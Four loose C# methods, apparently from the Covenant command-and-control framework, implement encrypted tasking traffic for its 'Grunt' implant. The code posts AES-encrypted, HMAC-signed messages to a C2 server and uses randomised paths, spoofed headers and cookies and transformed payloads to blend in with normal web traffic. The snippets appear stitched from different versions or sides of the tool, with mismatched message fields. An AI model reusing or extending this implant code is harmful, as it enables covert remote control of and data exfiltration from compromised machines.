public string PostMessage(string message, string meta, GruntEncryptedMessageType messageType = GruntEncryptedMessageType.PostTask) { string path = this.ProfileHttpUrls[Random.Next(this.ProfileHttpUrls.Count)]; GruntEncryptedMessage postMessage = this.Create(Common.GruntEncoding.GetBytes(message), meta, messageType); this.CovenantClient.Headers.Clear(); for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { this.CovenantClient.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]); } if (this.CookieAuthKey != "") { this.CovenantClient.Headers.Set(HttpRequestHeader.Cookie, this.ProfileHttpCookies[Random.Next(this.ProfileHttpCookies.Count)] + "=" + this.CookieAuthKey); } string messageString = GruntEncryptedMessage.ToJson(postMessage); string transformedMessage = Utilities.HttpMessageTransform.Transform(Common.GruntEncoding.GetBytes(messageString)); string data = String.Format(this.ProfileHttpPostRequest, transformedMessage); string response = CovenantClient.UploadString(this.CovenantURI + path, data); if (response.Length < 3) { return(""); } string extracted = Utilities.Parse(response, this.ProfileHttpPostResponse)[0]; string invertedMessage = Common.GruntEncoding.GetString(Utilities.HttpMessageTransform.Invert(extracted)); GruntEncryptedMessage responseMessage = GruntEncryptedMessage.FromJson(invertedMessage); if (!responseMessage.VerifyHMAC(SessionKey.Key)) { throw new GruntHMACVerifyException(); } return(Common.GruntEncoding.GetString(Utilities.AesDecrypt(responseMessage, SessionKey.Key))); }
public static GruntEncryptedMessage Create(Grunt grunt, byte[] message, GruntEncryptedMessageType Type = GruntEncryptedMessageType.Tasking) { if (grunt.Status == GruntStatus.Uninitialized || grunt.Status == GruntStatus.Stage0) { return(Create(grunt.Guid, message, Convert.FromBase64String(grunt.GruntSharedSecretPassword), Type)); } return(Create(grunt.Guid, message, Convert.FromBase64String(grunt.GruntNegotiatedSessionKey), Type)); }
public GruntEncryptedMessage Create(byte[] message, string meta, GruntEncryptedMessageType type = GruntEncryptedMessageType.PostTask) { byte[] encryptedMessagePacket = Utilities.AesEncrypt(message, SessionKey.Key); byte[] encryptionIV = new byte[Common.AesIVLength]; Buffer.BlockCopy(encryptedMessagePacket, 0, encryptionIV, 0, Common.AesIVLength); byte[] encryptedMessage = new byte[encryptedMessagePacket.Length - Common.AesIVLength]; Buffer.BlockCopy(encryptedMessagePacket, Common.AesIVLength, encryptedMessage, 0, encryptedMessagePacket.Length - Common.AesIVLength); byte[] hmac = Utilities.ComputeHMAC(encryptedMessage, SessionKey.Key); return(new GruntEncryptedMessage { Id = GruntId, Name = GruntName, Type = type, Meta = meta, EncryptedMessage = Convert.ToBase64String(encryptedMessage), IV = Convert.ToBase64String(encryptionIV), HMAC = Convert.ToBase64String(hmac) }); }
private static GruntEncryptedMessage Create(string GUID, byte[] message, byte[] key, GruntEncryptedMessageType Type = GruntEncryptedMessageType.Tasking) { byte[] encryptedMessagePacket = EncryptUtilities.AesEncrypt(message, key); byte[] encryptionIV = encryptedMessagePacket.Take(Common.AesIVLength).ToArray(); byte[] encryptedMessage = encryptedMessagePacket.TakeLast(encryptedMessagePacket.Length - Common.AesIVLength).ToArray(); byte[] hmac = EncryptUtilities.ComputeHMAC(encryptedMessage, key); return(new GruntEncryptedMessage { GUID = GUID, Type = Type, EncryptedMessage = Convert.ToBase64String(encryptedMessage), IV = Convert.ToBase64String(encryptionIV), HMAC = Convert.ToBase64String(hmac) }); }